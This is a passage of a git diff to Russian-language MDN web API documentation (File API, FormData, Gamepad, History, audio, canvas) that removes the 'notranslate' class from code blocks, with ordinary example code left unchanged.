multiple accept="image/*" style="display:none" onchange="handleFiles(this.files)"> +<pre class="brush: html"><input type="file" id="fileElem" multiple accept="image/*" style="display:none" onchange="handleFiles(this.files)"> <a href="#" id="fileSelect">Select some files</a> <div id="fileList"> <p>No files selected!</p> @@ -248,7 +248,7 @@ function dragover(e) { <p>Метод <code>handleFiles()</code> может быть реализован таким образом:</p> -<pre class="brush: js notranslate">window.URL = window.URL || window.webkitURL; +<pre class="brush: js">window.URL = window.URL || window.webkitURL; var fileSelect = document.getElementById("fileSelect"), fileElem = document.getElementById("fileElem"), @@ -312,7 +312,7 @@ function handleFiles(files) { <p>Продолжая пример с кодом, который строил эскизы в предыдущем примере, напомним, что каждому изображению эскиза присвоен класс CSS class <code>obj</code>, с соответствующим {{ domxref("File") }}, прикреплённым в атрибут <code>file</code>. Это позволяет нам очень просто выбрать все изображения, которые пользователь выбрал для загрузки используя {{ domxref("Document.querySelectorAll()") }}, как показано здесь:</p> -<pre class="brush: js notranslate">function sendFiles() { +<pre class="brush: js">function sendFiles() { var imgs = document.querySelectorAll(".obj"); for (var i = 0; i < imgs.length; i++) { @@ -327,7 +327,7 @@ function handleFiles(files) { <p>Функция <code>FileUpload</code> принимает на вход 2 параметра: элемент изображения и файл, из которого нужно читать данные изображения.</p> -<pre class="brush: js notranslate">function FileUpload(img, file) { +<pre class="brush: js">function FileUpload(img, file) { const reader = new FileReader(); this.ctrl = createThrobber(img); const xhr = new XMLHttpRequest(); @@ -369,7 +369,7 @@ function handleFiles(files) { <h3 id="Асинхронная_обработка_процесса_загрузки">Асинхронная обработка процесса загрузки</h3> -<pre class="brush: js notranslate"><?php +<pre class="brush: js"><?php if (isset($_FILES['myFile'])) { // Example: move_uploaded_file($_FILES['myFile']['tmp_name'], "uploads/" . $_FILES['myFile']['name']); @@ -431,12 +431,12 @@ if (isset($_FILES['myFile'])) { <p>В Firefox, для того чтобы файл PDF появился в iframe и не предлагался для загрузки, нужно установить <code>pdfjs.disabled</code> в значение <code>false</code> {{non-standard_inline()}}.</p> -<pre class="brush: html notranslate"><iframe id="viewer"> +<pre class="brush: html"><iframe id="viewer"> </pre> <p>А здесь изменение атрибута <code>src</code>:</p> -<pre class="brush: js notranslate">var obj_url = window.URL.createObjectURL(blob); +<pre class="brush: js">var obj_url = window.URL.createObjectURL(blob); var iframe = document.getElementById('viewer'); iframe.setAttribute('src', obj_url); window.URL.revokeObjectURL(obj_url);</pre> @@ -445,7 +445,7 @@ window.URL.revokeObjectURL(obj_url);</pre> <p>Вы можете таким же образом работать с файлами в других форматах. Ниже приведён пример как загружается видео:</p> -<pre class="brush: js notranslate">var video = document.getElementById('video'); +<pre class="brush: js">var video = document.getElementById('video'); var obj_url = window.URL.createObjectURL(blob); video.src = obj_url; video.play() diff --git a/files/ru/web/api/filereader/index.html b/files/ru/web/api/filereader/index.html index c84599323b..d9ece3dab0 100644 --- a/files/ru/web/api/filereader/index.html +++ b/files/ru/web/api/filereader/index.html @@ -25,7 +25,7 @@ translation_of: Web/API/FileReader <h2 id="Конструктор">Конструктор</h2> -<pre class="syntaxbox notranslate">FileReader FileReader();</pre> +<pre class="syntaxbox">FileReader FileReader();</pre> <p>Более детально, с примерами см. <a href="/ru/Using_files_from_web_applications" title="ru/Using files from web applications">использование файлов в веб-приложениях</a>.</p> diff --git a/files/ru/web/api/formdata/entries/index.html b/files/ru/web/api/formdata/entries/index.html index d77ddfb800..df0501ee8c 100644 --- a/files/ru/web/api/formdata/entries/index.html +++ b/files/ru/web/api/formdata/entries/index.html @@ -20,7 +20,7 @@ translation_of: Web/API/FormData/entries <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">formData.entries();</pre> +<pre class="syntaxbox">formData.entries();</pre> <h3 id="Возвращаемые_значения">Возвращаемые значения</h3> @@ -28,7 +28,7 @@ translation_of: Web/API/FormData/entries <h2 id="Пример">Пример</h2> -<pre class="brush: js;highlight:[7] notranslate">// Create a test FormData object +<pre class="brush: js;highlight:[7]">// Create a test FormData object var formData = new FormData(); formData.append('key1', 'value1'); formData.append('key2', 'value2'); @@ -41,7 +41,7 @@ for(var pair of formData.entries()) { <p>Результат:</p> -<pre class="notranslate">key1, value1 +<pre>key1, value1 key2, value2</pre> <h2 id="Спецификация">Спецификация</h2> diff --git a/files/ru/web/api/formdata/getall/index.html b/files/ru/web/api/formdata/getall/index.html index 747e25d5b4..4247417aca 100644 --- a/files/ru/web/api/formdata/getall/index.html +++ b/files/ru/web/api/formdata/getall/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/FormData/getAll <h2 id="Синтаксис">Синтаксис</h2> -<pre class="brush: js notranslate">formData.getAll(name);</pre> +<pre class="brush: js">formData.getAll(name);</pre> <h3 id="append_Parameters">Параметры</h3> @@ -30,16 +30,16 @@ translation_of: Web/API/FormData/getAll <p>Эта строка создаст пустой объект FormData:</p> -<pre class="brush: js notranslate">var formData = new FormData();</pre> +<pre class="brush: js">var formData = new FormData();</pre> <p>Можем добавить два <code>username</code> при помощи {{domxref("FormData.append")}}:</p> -<pre class="brush: js notranslate">formData.append('username', 'Борис'); +<pre class="brush: js">formData.append('username', 'Борис'); formData.append('username', 'Кирилл');</pre> <p>Тогда метод <code>getAll()</code> вернёт оба значения <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">username</span></font> в виде массива:</p> -<pre class="brush: js notranslate">formData.getAll('username'); // Вернёт ["Борис", "Кирилл"]</pre> +<pre class="brush: js">formData.getAll('username'); // Вернёт ["Борис", "Кирилл"]</pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/gamepad/axes/index.html b/files/ru/web/api/gamepad/axes/index.html index eb16be54c3..b4ed1fa5ba 100644 --- a/files/ru/web/api/gamepad/axes/index.html +++ b/files/ru/web/api/gamepad/axes/index.html @@ -11,11 +11,11 @@ translation_of: Web/API/Gamepad/axes <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate"><span class="idlInterface" id="idl-def-Gamepad"><span class="idlAttribute">readonly attribute <span class="idlAttrType">double[]</span> <span class="idlAttrName">axes</span>;</span></span></pre> +<pre class="syntaxbox"><span class="idlInterface" id="idl-def-Gamepad"><span class="idlAttribute">readonly attribute <span class="idlAttrType">double[]</span> <span class="idlAttrName">axes</span>;</span></span></pre> <h2 id="Пример">Пример</h2> -<pre class="brush: js notranslate">function gameLoop() { +<pre class="brush: js">function gameLoop() { if(navigator.webkitGetGamepads) { var gp = navigator.webkitGetGamepads()[0]; } else { diff --git a/files/ru/web/api/gamepad/buttons/index.html b/files/ru/web/api/gamepad/buttons/index.html index 3c49e81c56..ded4be8d3c 100644 --- a/files/ru/web/api/gamepad/buttons/index.html +++ b/files/ru/web/api/gamepad/buttons/index.html @@ -18,13 +18,13 @@ translation_of: Web/API/Gamepad/buttons <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">readonly attribute GamepadButton[] buttons;</pre> +<pre class="syntaxbox">readonly attribute GamepadButton[] buttons;</pre> <h2 id="Пример">Пример</h2> <p>Приведённый код взят из моего<em> (автора статьи)</em> демо Gamepad API button (вы можете <a href="http://chrisdavidmills.github.io/gamepad-buttons/" rel="noopener">Посмотреть демо</a>, и <a href="https://github.com/chrisdavidmills/gamepad-buttons/tree/master" rel="noopener">посмотреть исходники на GitHub</a>). Важно — в Chrome <a href="https://developer.mozilla.org/ru/docs/Web/API/Navigator/getGamepads"><code>Navigator.getGamepads</code></a> необходимо установить префикс <code>webkit</code>, и значения кнопки будут представлять из себя массив дробных чисел, тогда как в Firefox <a href="https://developer.mozilla.org/ru/docs/Web/API/Navigator/getGamepads"><code>Navigator.getGamepads</code></a> нет необходимости устанавливать префикс, и значения будут представлять собой массив объектов <a href="https://developer.mozilla.org/ru/docs/Web/API/GamepadButton"><code>GamepadButton</code></a>; Свойство <a href="https://developer.mozilla.org/ru/docs/Web/API/GamepadButton/value" rel="nofollow"><code>GamepadButton.value</code></a> или <a href="https://developer.mozilla.org/ru/docs/Web/API/GamepadButton/pressed" rel="nofollow"><code>GamepadButton.pressed</code></a> необходимо для получения состояния кнопки, в зависимости от от типа кнопки. В данном простом примере обрабатывается оба вида кнопок.</p> -<pre class="brush: js notranslate">function gameLoop() { +<pre class="brush: js">function gameLoop() { if(navigator.webkitGetGamepads) { var gp = navigator.webkitGetGamepads()[0]; diff --git a/files/ru/web/api/gamepad/mapping/index.html b/files/ru/web/api/gamepad/mapping/index.html index e52f1c454f..4c1cf9847f 100644 --- a/files/ru/web/api/gamepad/mapping/index.html +++ b/files/ru/web/api/gamepad/mapping/index.html @@ -11,11 +11,11 @@ translation_of: Web/API/Gamepad/mapping <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate"><span class="idlInterface" id="idl-def-Gamepad"><span class="idlAttribute">readonly attribute <span class="idlAttrType">DOMString</span> <span class="idlAttrName">mapping</span>;</span></span></pre> +<pre class="syntaxbox"><span class="idlInterface" id="idl-def-Gamepad"><span class="idlAttribute">readonly attribute <span class="idlAttrType">DOMString</span> <span class="idlAttrName">mapping</span>;</span></span></pre> <h2 id="Пример">Пример</h2> -<pre class="brush: js notranslate">var gp = navigator.getGamepads()[0]; +<pre class="brush: js">var gp = navigator.getGamepads()[0]; console.log(gp.mapping);</pre> <h2 id="Значение">Значение</h2> diff --git a/files/ru/web/api/gamepad_api/using_the_gamepad_api/index.html b/files/ru/web/api/gamepad_api/using_the_gamepad_api/index.html index b1f461ee50..1c38250b72 100644 --- a/files/ru/web/api/gamepad_api/using_the_gamepad_api/index.html +++ b/files/ru/web/api/gamepad_api/using_the_gamepad_api/index.html @@ -19,7 +19,7 @@ translation_of: Web/API/Gamepad_API/Using_the_Gamepad_API <p>Вы можете использовать {{domxref("Window/gamepadconnected_event", "gamepadconnected")}} как в примере:</p> -<pre class="brush: js; notranslate">window.addEventListener("gamepadconnected", function(e) { +<pre class="brush: js;">window.addEventListener("gamepadconnected", function(e) { console.log("Gamepad connected at index %d: %s. %d buttons, %d axes.", e.gamepad.index, e.gamepad.id, e.gamepad.buttons.length, e.gamepad.axes.length); @@ -32,14 +32,14 @@ translation_of: Web/API/Gamepad_API/Using_the_Gamepad_API <p>When a gamepad is disconnected, and if a page has previously received data for that gamepad (e.g. {{ domxref("Window/gamepadconnected_event", "gamepadconnected") }}), a second event is dispatched to the focused window, {{ event("gamepaddisconnected") }}:</p> -<pre class="brush: js notranslate">window.addEventListener("gamepaddisconnected", function(e) { +<pre class="brush: js">window.addEventListener("gamepaddisconnected", function(e) { console.log("Gamepad disconnected from index %d: %s", e.gamepad.index, e.gamepad.id); });</pre> <p>The gamepad's {{domxref("Gamepad.index", "index")}} property will be unique per-device connected to the system, even if multiple controllers of the same type are used. The <code>index</code> property also functions as the index into the {{jsxref("Array")}} returned by {{ domxref("Navigator.getGamepads()") }}.</p> -<pre class="brush: js notranslate">var gamepads = {}; +<pre class="brush: js">var gamepads = {}; function gamepadHandler(event, connecting) { var gamepad = event.gamepad; @@ -67,7 +67,7 @@ window.addEventListener("gamepaddisconnected", function(e) { gamepadHandler(e, f <p>The {{domxref("Navigator.getGamepads()")}} method returns an array of all devices currently visible to the webpage, as {{ domxref("Gamepad") }} objects (the first value is always <code>null</code>, so <code>null</code> will be returned if there are no gamepads connected.) This can then be used to get the same information. For example, the first code example above you be rewritten as shown below:</p> -<pre class="brush: js notranslate">window.addEventListener("gamepadconnected", function(e) { +<pre class="brush: js">window.addEventListener("gamepadconnected", function(e) { var gp = navigator.getGamepads()[e.gamepad.index]; console.log("Gamepad connected at index %d: %s. %d buttons, %d axes.", gp.index, gp.id, @@ -101,7 +101,7 @@ window.addEventListener("gamepaddisconnected", function(e) { gamepadHandler(e, f <p>To start with, we declare some variables: The <code>gamepadInfo</code> paragraph that the connection info is written into, the <code>ball</code> that we want to move, the <code>start</code> variable that acts as the ID for <code>requestAnimation Frame</code>, the <code>a</code> and <code>b</code> variables that act as position modifiers for moving the ball, and the shorthand variables that will be used for the {{ domxref("Window.requestAnimationFrame", "requestAnimationFrame()") }} and {{ domxref("Window.cancelAnimationFrame", "cancelAnimationFrame()") }} cross browser forks.</p> -<pre class="brush: js notranslate">var gamepadInfo = document.getElementById("gamepad-info"); +<pre class="brush: js">var gamepadInfo = document.getElementById("gamepad-info"); var ball = document.getElementById("ball"); var start; var a = 0; @@ -110,7 +110,7 @@ var b = 0; <p>Next we use the {{domxref("Window/gamepadconnected_event", "gamepadconnected")}} event to check for a gamepad being connected. When one is connected, we grab the gamepad using {{ domxref("Navigator.getGamepads()") }}<code>[0]</code>, print information about the gamepad into our gamepad info <code>div</code>, and fire the <code>gameLoop()</code> function that starts the whole ball movement process up.</p> -<pre class="brush: js notranslate">window.addEventListener("gamepadconnected", function(e) { +<pre class="brush: js">window.addEventListener("gamepadconnected", function(e) { var gp = navigator.getGamepads()[e.gamepad.index]; gamepadInfo.innerHTML = "Gamepad connected at index " + gp.index + ": " + gp.id + ". It has " + gp.buttons.length + " buttons and " + gp.axes.length + " axes."; @@ -119,7 +119,7 @@ var b = 0; <p>Now we use the {{domxref("Window/gamepaddisconnected_event", "gamepaddisconnected")}} event to check if the gamepad is disconnected again. If so, we stop the {{DOMxRef("Window.requestAnimationFrame", "requestAnimationFrame()")}} loop (see below) and revert the gamepad information back to what it was originally.</p> -<pre class="brush: js notranslate">window.addEventListener("gamepaddisconnected", function(e) { +<pre class="brush: js">window.addEventListener("gamepaddisconnected", function(e) { gamepadInfo.innerHTML = "Waiting for gamepad."; cancelRequestAnimationFrame(start); @@ -127,7 +127,7 @@ var b = 0; <p>Chrome does things differently here. Instead of constantly storing the gamepad's latest state in a variable it only stores a snapshot, so to do the same thing in Chrome you have to keep polling it and then only use the {{ domxref("Gamepad") }} object in code when it is available. We have done this below using {{ domxref("Window.setInterval()") }}; once the object is available the gamepad info is outputted, the game loop is started, and the interval is cleared using {{ domxref("Window.clearInterval()") }}. Note that in older versions of Chrome {{ domxref("Navigator.getGamepads()") }} is implemented with a <code>webkit</code> prefix. We attempt to detect and handle both the prefixed version and the standard version of the function for backwards compatibility.</p> -<pre class="brush: js notranslate">var interval; +<pre class="brush: js">var interval; if (!('ongamepadconnected' in window)) { // No gamepad events available, poll instead. @@ -151,7 +151,7 @@ function pollGamepads() { <p>After all this is done, we use our <code>requestAnimationFrame()</code> to request the next animation frame, running <code>gameLoop()</code> again.</p> -<pre class="brush: js notranslate">function buttonPressed(b) { +<pre class="brush: js">function buttonPressed(b) { if (typeof(b) == "object") { return b.pressed; } @@ -186,7 +186,7 @@ function gameLoop() { <p>This example shows how to use the {{ domxref("Gamepad") }} object, as well as the {{ domxref("Window/gamepadconnected_event", "gamepadconnected") }} and {{domxref("Window/gamepaddisconnected_event", "gamepaddisconnected")}} events in order to display the state of all gamepads connected to the system. You can find a <a href="http://luser.github.io/gamepadtest/">working demo</a> and look at the <a href="https://github.com/luser/gamepadtest">full source code</a> on Github.</p> -<pre class="brush: js notranslate">var haveEvents = 'ongamepadconnected' in window; +<pre class="brush: js">var haveEvents = 'ongamepadconnected' in window; var controllers = {}; function connecthandler(e) { diff --git a/files/ru/web/api/gamepadbutton/index.html b/files/ru/web/api/gamepadbutton/index.html index e29c99949d..9dc284725e 100644 --- a/files/ru/web/api/gamepadbutton/index.html +++ b/files/ru/web/api/gamepadbutton/index.html @@ -26,7 +26,7 @@ translation_of: Web/API/GamepadButton <p>Приведённый код взят из моего<em> (автора статьи)</em> демо Gamepad API button (вы можете <a href="http://chrisdavidmills.github.io/gamepad-buttons/">Посмотреть демо</a>, и <a href="https://github.com/chrisdavidmills/gamepad-buttons/tree/master">посмотреть исходники на GitHub</a>). Важно — в Chrome {{domxref("Navigator.getGamepads")}} необходимо установить префикс <code>webkit</code>, и значения кнопки будут представлять из себя массив дробных чисел, тогда как в Firefox {{domxref("Navigator.getGamepads")}} нет необходимости устанавливать префикс, и значения будут представлять собой массив объектов {{domxref("GamepadButton")}}; Свойство {{domxref("GamepadButton.value")}} или {{domxref("GamepadButton.pressed")}} необходимо для получения состояния кнопки, в зависимости от от типа кнопки. В данном простом примере обрабатывается оба вида кнопок.</p> -<pre class="brush: js notranslate">function gameLoop() { +<pre class="brush: js">function gameLoop() { if(navigator.webkitGetGamepads) { var gp = navigator.webkitGetGamepads()[0]; diff --git a/files/ru/web/api/gamepadbutton/pressed/index.html b/files/ru/web/api/gamepadbutton/pressed/index.html index 999b15582d..f97f697ab8 100644 --- a/files/ru/web/api/gamepadbutton/pressed/index.html +++ b/files/ru/web/api/gamepadbutton/pressed/index.html @@ -9,12 +9,12 @@ translation_of: Web/API/GamepadButton/pressed <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate"><span class="idlInterface" id="idl-def-GamepadButton"><span class="idlAttribute">var isPressed = navigator.getGamepads()[0].pressed; +<pre class="syntaxbox"><span class="idlInterface" id="idl-def-GamepadButton"><span class="idlAttribute">var isPressed = navigator.getGamepads()[0].pressed; </span></span></pre> <h2 id="Пример">Пример</h2> -<pre class="brush: js notranslate">var gp = navigator.getGamepads()[0]; // Get the first gamepad object +<pre class="brush: js">var gp = navigator.getGamepads()[0]; // Get the first gamepad object if(gp.buttons[0].pressed == true) { // respond to button being pressed diff --git a/files/ru/web/api/gamepadbutton/value/index.html b/files/ru/web/api/gamepadbutton/value/index.html index cf0f8274f9..27ab35d435 100644 --- a/files/ru/web/api/gamepadbutton/value/index.html +++ b/files/ru/web/api/gamepadbutton/value/index.html @@ -11,11 +11,11 @@ translation_of: Web/API/GamepadButton/value <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate"><span class="idlInterface" id="idl-def-GamepadButton"><span class="idlAttribute"> readonly attribute <span class="idlAttrType">double</span> <span class="idlAttrName">value</span>;</span></span></pre> +<pre class="syntaxbox"><span class="idlInterface" id="idl-def-GamepadButton"><span class="idlAttribute"> readonly attribute <span class="idlAttrType">double</span> <span class="idlAttrName">value</span>;</span></span></pre> <h2 id="Пример">Пример</h2> -<pre class="brush: js notranslate">var gp = navigator.getGamepads()[0]; +<pre class="brush: js">var gp = navigator.getGamepads()[0]; if(gp.buttons[0].value > 0) { // respond to analog button being pressed in diff --git a/files/ru/web/api/globaleventhandlers/onkeydown/index.html b/files/ru/web/api/globaleventhandlers/onkeydown/index.html index 7b571592f5..04de1619ca 100644 --- a/files/ru/web/api/globaleventhandlers/onkeydown/index.html +++ b/files/ru/web/api/globaleventhandlers/onkeydown/index.html @@ -15,7 +15,7 @@ translation_of: Web/API/GlobalEventHandlers/onkeydown <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">element.onkeydown = <var>event handling code</var> +<pre class="syntaxbox">element.onkeydown = <var>event handling code</var> </pre> <h3 id="Значение">Значение</h3> @@ -28,12 +28,12 @@ translation_of: Web/API/GlobalEventHandlers/onkeydown <h3 id="HTML">HTML</h3> -<pre class="brush: html notranslate"><input> +<pre class="brush: html"><input> <p id="log"></p></pre> <h3 id="JavaScript">JavaScript</h3> -<pre class="brush: js notranslate">const input = document.querySelector('input'); +<pre class="brush: js">const input = document.querySelector('input'); const log = document.getElementById('log'); input.onkeydown = logKey; diff --git a/files/ru/web/api/history/go/index.html b/files/ru/web/api/history/go/index.html index 2a64e0eb93..f571cd8cfe 100644 --- a/files/ru/web/api/history/go/index.html +++ b/files/ru/web/api/history/go/index.html @@ -17,7 +17,7 @@ translation_of: Web/API/History/go <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">history.go([<em>delta</em>])</pre> +<pre class="syntaxbox">history.go([<em>delta</em>])</pre> <h3 id="Параметры">Параметры</h3> @@ -30,23 +30,23 @@ translation_of: Web/API/History/go <p>Перемещение на 1 страницу назад (аналог вызова {{domxref("History.back", "back()")}}):</p> -<pre class="brush: js line-numbers language-js notranslate"><code class="language-js">history<span class="punctuation token">.</span><span class="function token">go</span><span class="punctuation token">(</span><span class="operator token">-</span><span class="number token">1</span><span class="punctuation token">)</span></code></pre> +<pre class="brush: js line-numbers language-js"><code class="language-js">history<span class="punctuation token">.</span><span class="function token">go</span><span class="punctuation token">(</span><span class="operator token">-</span><span class="number token">1</span><span class="punctuation token">)</span></code></pre> <p>Перемещение на страницу вперёд, как {{domxref("History.forward", "forward()")}}:</p> -<pre class="brush: js line-numbers language-js notranslate"><code class="language-js">history<span class="punctuation token">.</span><span class="function token">go</span><span class="punctuation token">(</span><span class="number token">1</span><span class="punctuation token">)</span></code></pre> +<pre class="brush: js line-numbers language-js"><code class="language-js">history<span class="punctuation token">.</span><span class="function token">go</span><span class="punctuation token">(</span><span class="number token">1</span><span class="punctuation token">)</span></code></pre> <p>Перемещение на 2 страницы вперёд:</p> -<pre class="brush: js notranslate">history.go(2);</pre> +<pre class="brush: js">history.go(2);</pre> <p>Перемещение на 2 страницы назад:</p> -<pre class="brush: js notranslate">history.go(-2);</pre> +<pre class="brush: js">history.go(-2);</pre> <p>Также, оба этих вызова перезагрузят страницу:</p> -<pre class="brush: js notranslate">history.go(); +<pre class="brush: js">history.go(); history.go(0);</pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/history/pushstate/index.html b/files/ru/web/api/history/pushstate/index.html index 014e34ae6f..df5d6fc489 100644 --- a/files/ru/web/api/history/pushstate/index.html +++ b/files/ru/web/api/history/pushstate/index.html @@ -14,7 +14,7 @@ translation_of: Web/API/History/pushState <h2 id="Синтаксис">Синтаксис</h2> -<pre class="notranslate">history.pushState(<var>state</var>, <var>title</var>[, <var>url</var>]) +<pre>history.pushState(<var>state</var>, <var>title</var>[, <var>url</var>]) </pre> <h3 id="Параметры">Параметры</h3> @@ -57,7 +57,7 @@ translation_of: Web/API/History/pushState <h3 id="JavaScript">JavaScript</h3> -<pre class="notranslate">const state = { 'page_id': 1, 'user_id': 5 } +<pre>const state = { 'page_id': 1, 'user_id': 5 } const title = '' const url = 'hello-world.html' diff --git a/files/ru/web/api/history/replacestate/index.html b/files/ru/web/api/history/replacestate/index.html index f9d79dd43d..ee54ccefa7 100644 --- a/files/ru/web/api/history/replacestate/index.html +++ b/files/ru/web/api/history/replacestate/index.html @@ -9,7 +9,7 @@ translation_of: Web/API/History/replaceState <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">history.replaceState(<em>stateObj</em>, <em>title</em>, [<em>url</em>])</pre> +<pre class="syntaxbox">history.replaceState(<em>stateObj</em>, <em>title</em>, [<em>url</em>])</pre> <h3 id="Параметры">Параметры</h3> @@ -26,7 +26,7 @@ translation_of: Web/API/History/replaceState <p>Предположим, на странице <code>http://mozilla.org/foo.html</code> выполняется следующий JavaScript-код:</p> -<pre class="notranslate">let stateObj = { foo: "bar" } +<pre>let stateObj = { foo: "bar" } history.pushState(stateObj, "page 2", "bar.html") </pre> @@ -34,7 +34,7 @@ history.pushState(stateObj, "page 2", "bar.html") <p>Далее, предположим, на странице <code>http://mozilla.org/bar.html</code> выполняется JavaScript-код:</p> -<pre class="notranslate">history.replaceState(stateObj, "page 3", "bar2.html") +<pre>history.replaceState(stateObj, "page 3", "bar2.html") </pre> <p>Это приведёт к тому, что в URL-строке отобразится адрес <code>http://mozilla.org/bar2.html</code>, но браузер не станет сразу загружать <code>bar2.html</code> и даже не станет проверять наличие этой страницы <code>bar2.html</code>.</p> diff --git a/files/ru/web/api/history/state/index.html b/files/ru/web/api/history/state/index.html index 82b65cd3f7..aba004c406 100644 --- a/files/ru/web/api/history/state/index.html +++ b/files/ru/web/api/history/state/index.html @@ -11,7 +11,7 @@ translation_of: Web/API/History/state <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">const <em>currentState</em> = history.state</pre> +<pre class="syntaxbox">const <em>currentState</em> = history.state</pre> <h3 id="Значение">Значение</h3> @@ -21,7 +21,7 @@ translation_of: Web/API/History/state <p>Код, приведённый ниже, выводит в консоль значение <code>history.state</code> до и после применения метода {{domxref("History.pushState","pushState()")}}, который записывает значение в историю.</p> -<pre class="brush: js notranslate">// Выведет null потому что мы пока не изменяли стек истории +<pre class="brush: js">// Выведет null потому что мы пока не изменяли стек истории console.log(`History.state before pushState: ${history.state}`); // Теперь запишем какое-нибудь значение в стек diff --git a/files/ru/web/api/history_api/index.html b/files/ru/web/api/history_api/index.html index ed100ee574..580c8c833b 100644 --- a/files/ru/web/api/history_api/index.html +++ b/files/ru/web/api/history_api/index.html @@ -19,13 +19,13 @@ translation_of: Web/API/History_API <p>Чтобы переместиться назад по истории:</p> -<pre class="brush: js notranslate">window.history.back(); +<pre class="brush: js">window.history.back(); </pre> <p>Данный метод работает так, будто пользователь нажал на кнопку "Назад" на панели браузера.<br> Похожим образом можно переместиться вперёд (как если бы пользователь нажал на кнопку "Вперёд"):</p> -<pre class="brush: js notranslate">window.history.forward(); +<pre class="brush: js">window.history.forward(); </pre> <h3 id="Перемещение_к_определённой_странице_в_истории">Перемещение к определённой странице в истории</h3> @@ -34,25 +34,25 @@ translation_of: Web/API/History_API <p>Вернуться на одну страницу назад (равноценно вызову {{DOMxRef("History.back","back()")}}):</p> -<pre class="brush: js notranslate">window.history.go(-1); +<pre class="brush: js">window.history.go(-1); </pre> <p>Перейти на одну страницу вперёд (равноценно вызову {{DOMxRef("History.forward","forward()")}})</p> -<pre class="brush: js notranslate">window.history.go(1); +<pre class="brush: js">window.history.go(1); </pre> <p>По такому же принципу, можно перемещаться вперёд на 2 страницы, передавая аргумент <code>2</code>, и так далее.</p> <p>Кроме того, метод <code>go()</code> можно использовать для обновления текущей страницы, передавая аргумент <code>0</code> или вызывая его без аргументов:</p> -<pre class="notranslate">// Обе следующих инструкции обновляют текущую страницу +<pre>// Обе следующих инструкции обновляют текущую страницу window.history.go(0) window.history.go()</pre> <p>Узнать количество страниц, которые находятся в стеке истории, можно, получив значение свойства <code>length</code>:</p> -<pre class="brush: js notranslate">var numberOfEntries = window.history.length; +<pre class="brush: js">var numberOfEntries = window.history.length; </pre> <h2 id="Интерфейсы">Интерфейсы</h2> @@ -66,7 +66,7 @@ window.history.go()</pre> <p>В следующем примере свойству <code>onpopstate</code> назначается обработчик. А затем приводятся некоторые методы объекта истории для добавления, замени и перемещения по истории текущей вкладки браузера</p> -<pre class="notranslate">window.onpopstate = function(event) { +<pre>window.onpopstate = function(event) { alert(`location: ${document.location}, state: ${JSON.stringify(event.state)}`) } diff --git a/files/ru/web/api/history_api/working_with_the_history_api/index.html b/files/ru/web/api/history_api/working_with_the_history_api/index.html index 46f6fbafd9..9027e6b13e 100644 --- a/files/ru/web/api/history_api/working_with_the_history_api/index.html +++ b/files/ru/web/api/history_api/working_with_the_history_api/index.html @@ -15,7 +15,7 @@ translation_of: Web/API/History_API/Working_with_the_History_API <p>Предположим, на странице <code>http://mozilla.org/foo.html</code> выполняется следующий JavaScript-код:</p> -<pre class="brush: js notranslate">let stateObj = { +<pre class="brush: js">let stateObj = { foo: "bar", } @@ -90,7 +90,7 @@ history.pushState(stateObj, "page 2", "bar.html") <p>Предположим, на странице <code><span class="nowiki">http://mozilla.org/foo.html</span></code> выполняется следующий JavaScript-код:</p> -<pre class="brush: js notranslate">let stateObj = { foo: "bar" } +<pre class="brush: js">let stateObj = { foo: "bar" } history.pushState(stateObj, "page 2", "bar.html") </pre> @@ -98,7 +98,7 @@ history.pushState(stateObj, "page 2", "bar.html") <p>Далее, предположим, на странице <code><span class="nowiki">http://mozilla.org/bar.html</span></code><span class="nowiki"> выполняется JavaScript-код:</span></p> -<pre class="brush: js notranslate">history.replaceState(stateObj, "page 3", "bar2.html") +<pre class="brush: js">history.replaceState(stateObj, "page 3", "bar2.html") </pre> <p>Это приведёт к тому, что в URL-строке отобразится адрес <code><span class="nowiki">http://mozilla.org/bar2.html</span></code><span class="nowiki">, но браузер не станет сразу загружать </span><code>bar2.html</code> и даже не станет проверять наличие этой страницы <code>bar2.html</code>.</p> @@ -117,7 +117,7 @@ history.pushState(stateObj, "page 2", "bar.html") <p>С помощью свойства {{DOMxRef("History.state","history.state")}} можно прочитать состояние текущей записи в истории, не дожидаясь события <code>popstate</code>, например:</p> -<pre class="brush: js notranslate">let currentState = history.state +<pre class="brush: js">let currentState = history.state </pre> <h2 id="Смотрите_также">Смотрите также</h2> diff --git a/files/ru/web/api/htmlaudioelement/audio/index.html b/files/ru/web/api/htmlaudioelement/audio/index.html index 57abf54f62..d118155c00 100644 --- a/files/ru/web/api/htmlaudioelement/audio/index.html +++ b/files/ru/web/api/htmlaudioelement/audio/index.html @@ -12,7 +12,7 @@ original_slug: Web/API/HTMLAudioElement/Audio() <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate"><em>audioObj</em> = new Audio(<em>url</em>);</pre> +<pre class="syntaxbox"><em>audioObj</em> = new Audio(<em>url</em>);</pre> <h3 id="Параметры">Параметры</h3> @@ -44,7 +44,7 @@ original_slug: Web/API/HTMLAudioElement/Audio() <p>Лучший подход, основанный на событии:</p> -<pre class="brush: js notranslate">myAudioElement.addEventListener("canplaythrough", event => { +<pre class="brush: js">myAudioElement.addEventListener("canplaythrough", event => { /* аудио может быть воспроизведено; проиграть, если позволяют разрешения */ myAudioElement.play(); });</pre> diff --git a/files/ru/web/api/htmlcanvaselement/capturestream/index.html b/files/ru/web/api/htmlcanvaselement/capturestream/index.html index e7b9eb4481..983a0ef2f7 100644 --- a/files/ru/web/api/htmlcanvaselement/capturestream/index.html +++ b/files/ru/web/api/htmlcanvaselement/capturestream/index.html @@ -9,7 +9,7 @@ translation_of: Web/API/HTMLCanvasElement/captureStream <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate"><var>MediaStream</var> = 